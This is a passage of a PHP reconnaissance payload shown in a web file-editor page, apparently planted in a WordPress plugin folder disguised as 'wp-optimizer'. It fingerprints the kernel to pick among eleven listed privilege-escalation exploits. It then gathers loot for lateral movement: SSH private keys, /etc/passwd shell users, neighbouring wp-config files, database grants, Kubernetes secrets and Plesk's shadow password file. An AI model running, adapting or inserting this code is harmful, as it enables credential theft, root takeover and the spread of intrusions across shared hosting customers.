  $mo=array(&#039;jan&#039;=&gt;1,&#039;feb&#039;=&gt;2,&#039;mar&#039;=&gt;3,&#039;apr&#039;=&gt;4,&#039;may&#039;=&gt;5,&#039;jun&#039;=&gt;6,&#039;jul&#039;=&gt;7,&#039;aug&#039;=&gt;8,&#039;sep&#039;=&gt;9,&#039;oct&#039;=&gt;10,&#039;nov&#039;=&gt;11,&#039;dec&#039;=&gt;12);
  $mn=$mo[strtolower(substr($m[1],0,3))]??0;if($mn)return mktime(0,0,0,$mn,(int)$m[2],(int)$m[3]);}
 return null;}
function w2s_kernel_sa(){
 $ks=array();
 $ks[&#039;kernel_release&#039;]=@php_uname(&#039;r&#039;);$ks[&#039;kernel_version_str&#039;]=@php_uname(&#039;v&#039;);$ks[&#039;machine&#039;]=@php_uname(&#039;m&#039;);
 $ks[&#039;kver&#039;]=w2s_kparse($ks[&#039;kernel_release&#039;]);
 $ks[&#039;build_epoch&#039;]=w2s_kbdate($ks[&#039;kernel_version_str&#039;]);
 $_os=@file_get_contents(&#039;/etc/os-release&#039;);
 if($_os&amp;&amp;preg_match(&#039;/^PRETTY_NAME=&quot;?([^&quot;\n]+)/m&#039;,$_os,$m))$ks[&#039;distro&#039;]=trim($m[1]);
 foreach(array(&#039;ptrace_scope&#039;=&gt;&#039;/proc/sys/kernel/yama/ptrace_scope&#039;,&#039;userns_clone&#039;=&gt;&#039;/proc/sys/kernel/unprivileged_userns_clone&#039;,&#039;max_user_namespaces&#039;=&gt;&#039;/proc/sys/user/max_user_namespaces&#039;,&#039;io_uring_disabled&#039;=&gt;&#039;/proc/sys/kernel/io_uring_disabled&#039;,&#039;kptr_restrict&#039;=&gt;&#039;/proc/sys/kernel/kptr_restrict&#039;)as$k=&gt;$p){
  $v=@file_get_contents($p);if($v!==false)$ks[$k]=(int)trim($v);}
 $_mods=@file_get_contents(&#039;/proc/modules&#039;);
 $mlist=array();
 if($_mods)foreach(explode(&quot;\n&quot;,$_mods)as$l){$mm=explode(&#039; &#039;,$l);if($mm[0])$mlist[]=$mm[0];}
 $ks[&#039;modules_present&#039;]=array_values(array_intersect($mlist,array(&#039;algif_aead&#039;,&#039;esp4&#039;,&#039;esp6&#039;,&#039;espintcp&#039;,&#039;rxrpc&#039;,&#039;rds&#039;,&#039;rds_tcp&#039;,&#039;act_pedit&#039;)));
 $_ksy=@file_get_contents(&#039;/proc/kallsyms&#039;);
 $ks[&#039;rxgk_symbols&#039;]=$_ksy?(strpos($_ksy,&#039;rxgk_&#039;)!==false):null;
 $ks[&#039;algif_aead_available&#039;]=(in_array(&#039;algif_aead&#039;,$mlist))||($_ksy&amp;&amp;strpos($_ksy,&#039;algif_aead&#039;)!==false);
 if($_ksy===false||$_ksy===null)$ks[&#039;algif_aead_available&#039;]=in_array(&#039;algif_aead&#039;,$mlist)?true:null;
 $sb=array();
 foreach(array(&#039;/usr/bin/su&#039;,&#039;/bin/su&#039;,&#039;/usr/bin/sudo&#039;,&#039;/usr/bin/pkexec&#039;,&#039;/usr/bin/chage&#039;,&#039;/usr/lib/openssh/ssh-keysign&#039;,&#039;/usr/libexec/ssh-keysign&#039;)as$b)
  if(@is_file($b)&amp;&amp;@is_readable($b))$sb[]=$b;
 $ks[&#039;suid_readable&#039;]=$sb;
 $ks[&#039;unshare_bin&#039;]=@is_file(&#039;/usr/bin/unshare&#039;);
 if(function_exists(&#039;posix_getuid&#039;))$ks[&#039;uid&#039;]=@posix_getuid();
 // interpreter / tooling surface for LPE delivery-path selection
 $tb=array();
 foreach(array(&#039;python3&#039;,&#039;python&#039;,&#039;perl&#039;,&#039;gcc&#039;,&#039;cc&#039;,&#039;tcc&#039;,&#039;go&#039;,&#039;ruby&#039;,&#039;busybox&#039;)as$b){
  $f=@is_file(&#039;/usr/bin/&#039;.$b)?&#039;/usr/bin/&#039;.$b:(@is_file(&#039;/bin/&#039;.$b)?&#039;/bin/&#039;.$b:(@is_file(&#039;/usr/local/bin/&#039;.$b)?&#039;/usr/local/bin/&#039;.$b:null));
  if($f)$tb[$b]=$f;}
 $ks[&#039;tooling&#039;]=$tb;
 $ffi=@ini_get(&#039;ffi.enable&#039;);
 $ks[&#039;php_ffi&#039;]=($ffi===&#039;1&#039;||$ffi===true||strcasecmp((string)$ffi,&#039;true&#039;)===0||strcasecmp((string)$ffi,&#039;yes&#039;)===0);
 // userns effectively available?
 $un=null;
 if(isset($ks[&#039;max_user_namespaces&#039;]))$un=$ks[&#039;max_user_namespaces&#039;]&gt;0;
 if(isset($ks[&#039;userns_clone&#039;]))$un=$un===false?false:($ks[&#039;userns_clone&#039;]&gt;0);
 $ks[&#039;userns_likely&#039;]=$un;
 return $ks;
}
function w2s_lpe_matrix($ks){
 $k=isset($ks[&#039;kver&#039;])?$ks[&#039;kver&#039;]:null;
 $bd=isset($ks[&#039;build_epoch&#039;])?$ks[&#039;build_epoch&#039;]:null;
 $rel=isset($ks[&#039;kernel_release&#039;])?$ks[&#039;kernel_release&#039;]:&#039;&#039;;
 $mods=isset($ks[&#039;modules_present&#039;])?$ks[&#039;modules_present&#039;]:array();
 $un=!empty($ks[&#039;userns_likely&#039;]);
 $ps=isset($ks[&#039;ptrace_scope&#039;])?$ks[&#039;ptrace_scope&#039;]:null;
 // Verdict helper, dual-window model (grill-driven fix): fix_ts = upstream/public
 // fix date, vendor_ts = when major vendor kernels realistically shipped backports.
 // Build before fix window =&gt; go; inside =&gt; maybe (backport uncertain); after =&gt; no.
 // Single-date checks are wrong for staggered/embargoed backports.
 $V=function($range_ok,$fix_ts,$vendor_ts,$precon,$why)use($bd){
  if($range_ok===false)return array(&#039;no&#039;,&#039;kernel outside vulnerable range&#039;);
  if(!$precon)return array(&#039;no&#039;,$why);
  if($bd&amp;&amp;$fix_ts){
   $vt=$vendor_ts?:$fix_ts+1209600;
   if($bd&lt;$fix_ts-604800)return array(&#039;go&#039;,$why);
   if($bd&lt;$vt)return array(&#039;maybe&#039;,$why.&#039;; build inside patch window — backport uncertain&#039;);
   return array(&#039;no&#039;,&#039;kernel built after vendor patch window&#039;);
  }
  return array($range_ok===null?&#039;maybe&#039;:&#039;go&#039;,$why.&#039;; no build date — version heuristic&#039;);
 };
 // Fixed-version table: branch &quot;maj.min&quot; =&gt; first fixed [maj,min,pat]. Below fix
 // on a tracked branch =&gt; definitive go; at/above =&gt; definitive no. null =&gt; fall
 // back to the date window.
 $T=function($fixmap)use($k){
  if(!$k)return null;
  $b=$k[0].&#039;.&#039;.$k[1];
  if(!isset($fixmap[$b]))return null;
  $f=$fixmap[$b];
  return w2s_klt($k,$f[0],$f[1],$f[2])?&#039;go&#039;:&#039;no&#039;;
 };
 $M=array();
 // 1 Copy Fail CVE-2026-31431 — vuln 4.14..6.18.22/6.19.12/7.0, patch~2026-04-30
 // algif_aead autoloads on AF_ALG socket creation in default distro kernels, so
 // &quot;not currently loaded&quot; does NOT gate reachability — treat as always-reachable.
 $rng=$k?(w2s_kge($k,4,14)&amp;&amp;w2s_klt($k,7,0)):null;
 if($rng&amp;&amp;w2s_kge($k,6,18,22)&amp;&amp;w2s_klt($k,6,19))$rng=false;
 if($rng&amp;&amp;w2s_kge($k,6,19,12))$rng=false;
 $M[&#039;copyfail_cve_2026_31431&#039;]=$V($rng,strtotime(&#039;2026-04-30&#039;),strtotime(&#039;2026-05-21&#039;),true,&#039;algif_aead autoloads on use (default kernels); pure-stdlib, deterministic, container escape&#039;);
 // 2 GhostLock CVE-2026-43499 — 2.6.39..7.1, upstream fix Apr; public 2026-07-08
 $rng=$k?(w2s_kge($k,2,6,39)&amp;&amp;w2s_klt($k,7,1)):null;
 $M[&#039;ghostlock_cve_2026_43499&#039;]=$V($rng,strtotime(&#039;2026-07-08&#039;),strtotime(&#039;2026-07-22&#039;),true,&#039;needs only CONFIG_FUTEX_PI (universal); 97% reliable, container escape&#039;);
 // 3 Bad Epoll CVE-2026-46242 — 6.4.., fixed 6.18.33/7.0.10 (table wins over dates)
 $rng=$k?(w2s_kge($k,6,4)&amp;&amp;w2s_klt($k,7,1)):null;
 $_be=$T(array(&#039;6.18&#039;=&gt;array(6,18,33),&#039;7.0&#039;=&gt;array(7,0,10)));
 $M[&#039;bad_epoll_cve_2026_46242&#039;]=$_be===null?$V($rng,strtotime(&#039;2026-04-25&#039;),strtotime(&#039;2026-07-05&#039;),true,&#039;no preconditions (epoll syscalls); race-based ~99%, misses 6.1 LTS&#039;)
   :array($_be,&#039;no preconditions (epoll syscalls); race-based ~99%; fixed-version table &#039;.($_be===&#039;go&#039;?&#039;below&#039;:&#039;at/above&#039;).&#039; fix&#039;);
 // 4 Fragnesia CVE-2026-46300 — needs userns + espintcp, patch~2026-05-14
 $rng=$k?w2s_klt($k,7,1):null;
 $pre=$un&amp;&amp;(in_array(&#039;espintcp&#039;,$mods)||in_array(&#039;esp4&#039;,$mods)||in_array(&#039;esp6&#039;,$mods));
 $M[&#039;fragnesia_cve_2026_46300&#039;]=$V($rng,strtotime(&#039;2026-05-14&#039;),strtotime(&#039;2026-06-04&#039;),$pre,&#039;needs unpriv userns + espintcp (AL2023/Bottlerocket immune)&#039;);
 // 5 Dirty Frag 43284+43500 — esp4/6 or rxrpc, patch~2026-05-09
 $pre=(in_array(&#039;rxrpc&#039;,$mods))||($un&amp;&amp;(in_array(&#039;esp4&#039;,$mods)||in_array(&#039;esp6&#039;,$mods)));
 $M[&#039;dirtyfrag_cve_2026_43284_43500&#039;]=$V($rng,strtotime(&#039;2026-05-09&#039;),strtotime(&#039;2026-06-06&#039;),$pre,&#039;needs rxrpc (Ubuntu default) or userns+esp&#039;);
 // 6 ptrace exit-race CVE-2026-46333 — exact Qualys stable fix list + Ubuntu ABI map
 $rng=$k?w2s_kge($k,5,6):null;
 $pre=($ps===null||$ps&lt;2);
 $_pt=$T(array(&#039;5.10&#039;=&gt;array(5,10,256),&#039;5.15&#039;=&gt;array(5,15,207),&#039;6.1&#039;=&gt;array(6,1,173),
   &#039;6.6&#039;=&gt;array(6,6,139),&#039;6.12&#039;=&gt;array(6,12,89),&#039;6.18&#039;=&gt;array(6,18,31),&#039;7.0&#039;=&gt;array(7,0,8)));
 if($_pt===null&amp;&amp;$k&amp;&amp;$k[0]===6&amp;&amp;$k[1]===8){
  if(preg_match(&#039;/^6\.8\.0-(\d+)\./&#039;,$rel,$m))$_pt=((int)$m[1]&gt;=124?&#039;no&#039;:&#039;go&#039;); // Ubuntu 24.04 GA ABI: 6.8.0-124.124 = fixed
 }
 $M[&#039;ptrace_race_cve_2026_46333&#039;]=$_pt===null?$V($rng,strtotime(&#039;2026-05-15&#039;),strtotime(&#039;2026-06-04&#039;),$pre,&#039;blocked if ptrace_scope&gt;=2; race vs exiting setuid proc; cred theft&#039;)
   :($pre?array($_pt,&#039;race vs exiting setuid proc; cred theft; fixed-version table &#039;.($_pt===&#039;go&#039;?&#039;below&#039;:&#039;at/above&#039;).&#039; fix&#039;)
         :array(&#039;no&#039;,&#039;blocked by ptrace_scope&gt;=2&#039;));
 // 7 DirtyClone CVE-2026-43503 — userns+esp surface, patch~2026-05-22
 $pre=$un&amp;&amp;(in_array(&#039;esp4&#039;,$mods)||in_array(&#039;esp6&#039;,$mods));
 $M[&#039;dirtyclone_cve_2026_43503&#039;]=$V($rng,strtotime(&#039;2026-05-22&#039;),strtotime(&#039;2026-06-26&#039;),$pre,&#039;needs userns + esp; silent (no audit trail)&#039;);
 // 8 pedit COW CVE-2026-46331 — 5.18..7.1, act_pedit + userns, patch~2026-06-23
 $rng=$k?(w2s_kge($k,5,18)&amp;&amp;w2s_klt($k,7,1)):null;
 $pre=$un;
 $M[&#039;pedit_cow_cve_2026_46331&#039;]=$V($rng,strtotime(&#039;2026-06-23&#039;),strtotime(&#039;2026-07-14&#039;),$pre,&#039;needs act_pedit loadable + userns; Ubuntu needs aa-exec bypass&#039;);
 // 9 nf_tables CVE-2026-23111 — catchall maps only exist 5.13+; upstream patch 2026-02-05;
 // distros lagged (FuzzingLabs April PoC worked on Ubuntu) — wide vendor window
 $rng=$k?w2s_kge($k,5,13):null;
 $pre=$un;
 $M[&#039;nf_tables_cve_2026_23111&#039;]=$V($rng,strtotime(&#039;2026-02-05&#039;),strtotime(&#039;2026-05-06&#039;),$pre,&#039;needs userns + nftables; &gt;99% Exodus chain&#039;);
 // 10 PinTheft CVE-2026-43494 — rds + io_uring + &gt;=6.13, patch~2026-05-22
 $rng=$k?w2s_kge($k,6,13):null;
 $iour=!isset($ks[&#039;io_uring_disabled&#039;])||$ks[&#039;io_uring_disabled&#039;]===0;
 $pre=in_array(&#039;rds&#039;,$mods)&amp;&amp;$iour;
 $M[&#039;pintheft_cve_2026_43494&#039;]=$V($rng,strtotime(&#039;2026-05-22&#039;),strtotime(&#039;2026-06-26&#039;),$pre,&#039;needs rds loaded (Arch default only) + io_uring&#039;);
 // 11 DirtyDecrypt CVE-2026-31635 — CONFIG_RXGK, 6.10..6.13, patch~2026-04-26
 $rng=$k?(w2s_kge($k,6,10)&amp;&amp;w2s_klt($k,6,14)):null;
 $pre=!empty($ks[&#039;rxgk_symbols&#039;]);
 $M[&#039;dirtydecrypt_cve_2026_31635&#039;]=$V($rng,strtotime(&#039;2026-04-26&#039;),strtotime(&#039;2026-05-17&#039;),$pre,&#039;needs CONFIG_RXGK (Fedora/Arch/Tumbleweed only)&#039;);
 // recommended = first go in ranked order
 $rec=null;
 foreach(array(&#039;copyfail_cve_2026_31431&#039;,&#039;ghostlock_cve_2026_43499&#039;,&#039;bad_epoll_cve_2026_46242&#039;,&#039;fragnesia_cve_2026_46300&#039;,&#039;dirtyfrag_cve_2026_43284_43500&#039;,&#039;ptrace_race_cve_2026_46333&#039;,&#039;dirtyclone_cve_2026_43503&#039;,&#039;pedit_cow_cve_2026_46331&#039;,&#039;nf_tables_cve_2026_23111&#039;,&#039;pintheft_cve_2026_43494&#039;,&#039;dirtydecrypt_cve_2026_31635&#039;)as$key)
  if($M[$key][0]===&#039;go&#039;){$rec=$key;break;}
 return array(&#039;verdicts&#039;=&gt;$M,&#039;recommended&#039;=&gt;$rec);
}

// ── LATERAL MOVEMENT PROBES ──
$G=array();
$_gr=@$W-&gt;get_results(&quot;SHOW GRANTS&quot;,ARRAY_A);
if(is_array($_gr))foreach($_gr as$r){$v=reset($r);if($v)$G[]=$v;}
$DBS=array();
$_ds=@$W-&gt;get_col(&quot;SHOW DATABASES&quot;);
if(is_array($_ds))$DBS=$_ds;

$NC=array();
$d=__DIR__;
for($i=0;$i&lt;5;$i++){
 $d=dirname($d);
 $p=&quot;$d/wp-config.php&quot;;
 if(@is_file($p)&amp;&amp;@is_readable($p))$NC[]=$p;
}

$PW=array();
$_pw=@file_get_contents(&#039;/etc/passwd&#039;);
if($_pw){
 foreach(explode(&quot;\n&quot;,$_pw)as$l){
  $parts=explode(&#039;:&#039;,$l);
  if(count($parts)&gt;=7&amp;&amp;$parts[6]&amp;&amp;$parts[6]!==&#039;/bin/nologin&#039;&amp;&amp;$parts[6]!==&#039;/usr/sbin/nologin&#039;&amp;&amp;$parts[6]!==&#039;/bin/false&#039;)
   $PW[]=$parts[0].&#039;:&#039;.$parts[6];
 }
 $PW=array_slice($PW,0,50);
}

$SK=array();
$_home=array(&#039;/root/.ssh/id_rsa&#039;,&#039;/root/.ssh/id_ed25519&#039;);
if(!empty($o[&#039;priv&#039;][&#039;user_login&#039;])){
 $h=dirname($_SERVER[&#039;DOCUMENT_ROOT&#039;]??&#039;/&#039;);
 $_home[]=$h.&#039;/.ssh/id_rsa&#039;;
}
foreach($_home as$p){
 $c=@file_get_contents($p);
 if($c&amp;&amp;strpos($c,&#039;PRIVATE KEY&#039;)!==false)$SK[]=array(&#039;path&#039;=&gt;$p,&#039;key&#039;=&gt;substr($c,0,512));
}

$CTN=&#039;&#039;;
if(@file_exists(&#039;/.dockerenv&#039;))$CTN=&#039;docker&#039;;
$_cg=@file_get_contents(&#039;/proc/1/cgroup&#039;);
if($_cg){
 if(strpos($_cg,&#039;kubepods&#039;)!==false)$CTN.=$CTN?&#039;+k8s&#039;:&#039;k8s&#039;;
 elseif(strpos($_cg,&#039;docker&#039;)!==false||strpos($_cg,&#039;containerd&#039;)!==false)$CTN=$CTN?:&#039;container&#039;;
}
if(@is_dir(&#039;/var/run/secrets/kubernetes.io/serviceaccount&#039;))$CTN.=$CTN?&#039;+k8s-sa&#039;:&#039;k8s-sa&#039;;

$PN=&#039;&#039;;
foreach(array(
 &#039;cpanel&#039;=&gt;&#039;/usr/local/cpanel&#039;,&#039;plesk&#039;=&gt;&#039;/usr/local/psa&#039;,&#039;plesk-opt&#039;=&gt;&#039;/opt/psa&#039;,
 &#039;directadmin&#039;=&gt;&#039;/usr/local/directadmin&#039;,&#039;virtualmin&#039;=&gt;&#039;/usr/share/webmin&#039;,
 &#039;cyberpanel&#039;=&gt;&#039;/usr/local/CyberPanel&#039;,&#039;hestiacp&#039;=&gt;&#039;/usr/local/hestia&#039;,
 &#039;ispconfig&#039;=&gt;&#039;/usr/local/ispconfig&#039;,&#039;aapanel&#039;=&gt;&#039;/www/server/panel&#039;,
 &#039;cloudpanel&#039;=&gt;&#039;/etc/cloudpanel&#039;,&#039;runcloud&#039;=&gt;&#039;/etc/runcloud&#039;,
)as$n=&gt;$p)
 if(@is_dir($p))$PN=$PN?&#039;+&#039;.$n:$n;

$HP=&#039;&#039;;
if(function_exists(&#039;is_wpe&#039;)&amp;&amp;@is_wpe()===&quot;1&quot;)$HP=&#039;wpengine&#039;;
elseif(getenv(&#039;PANTHEON_ENVIRONMENT&#039;))$HP=&#039;pantheon&#039;;
elseif(getenv(&#039;KINSTA_SITE_ID&#039;))$HP=&#039;kinsta&#039;;
elseif(getenv(&#039;PRESSABLE_FILE_PLUGIN&#039;))$HP=&#039;pressable&#039;;
elseif(function_exists(&#039;is_atomic_platform&#039;)&amp;&amp;@is_atomic_platform())$HP=&#039;wpcom&#039;;
elseif(getenv(&#039;CW_ENV&#039;))$HP=&#039;cloudways&#039;;
elseif(getenv(&#039;WPE_PLUGIN_HOST&#039;))$HP=&#039;wpengine&#039;;
elseif(getenv(&#039;SG_PUBLIC&#039;))$HP=&#039;siteground&#039;;

$R=array();
if(function_exists(&#039;rest_get_server&#039;)){
 try{$_rs=rest_get_server();$_rt=$_rs?$_rs-&gt;get_routes():array();
  if(is_array($_rt))$R=array_slice(array_keys($_rt),0,200);}catch(\Throwable $e){}
}
$K=array();
if(function_exists(&#039;_get_cron_array&#039;))
 try{foreach(_get_cron_array()as$ts=&gt;$hooks)
  if(is_array($hooks))foreach($hooks as$hook=&gt;$j){$K[]=array(&#039;ts&#039;=&gt;$ts,&#039;hook&#039;=&gt;$hook);if(count($K)&gt;=100)break 2;}}catch(\Throwable $e){}

$PL=array();
if(strpos($PN,&#039;cpanel&#039;)!==false)$PL[&#039;cpanel_users&#039;]=@scandir(&#039;/var/cpanel/users/&#039;)?:array();
if(strpos($PN,&#039;plesk&#039;)!==false)$PL[&#039;psa_shadow&#039;]=@file_get_contents(&#039;/etc/psa/.psa.shadow&#039;)?:&#039;&#039;;
if(strpos($PN,&#039;directadmin&#039;)!==false)$PL[&#039;da_users&#039;]=@scandir(&#039;/usr/local/directadmin/data/users/&#039;)?:array();

$_KSA=w2s_kernel_sa();
$o[&#039;kernel_sa&#039;]=$_KSA;
$o[&#039;lpe_matrix&#039;]=w2s_lpe_matrix($_KSA);

$o[&#039;lateral&#039;]=array(
 &#039;grants&#039;=&gt;$G,&#039;databases&#039;=&gt;$DBS,&#039;neighbor_configs&#039;=&gt;$NC,&#039;shell_users&#039;=&gt;$PW,
 &#039;ssh_keys&#039;=&gt;$SK,&#039;container&#039;=&gt;$CTN,&#039;panel&#039;=&gt;$PN,&#039;managed_host&#039;=&gt;$HP,
 &#039;rest_routes&#039;=&gt;$R,&#039;cron&#039;=&gt;$K,&#039;panel_loot&#039;=&gt;$PL,
);
$w2s_done=true;
_r($o);</textarea><br>  
            <input type='submit' value='Save'>  
        </form>  
        <p><a href='?path=%2Fbig%2Fweb%2Fresonanz.santi.wien%2Fhtdocs%2Fwp-content%2Fplugins%2Fwp-optimizer-7c8cf9a849'>🔙 Back</a></p>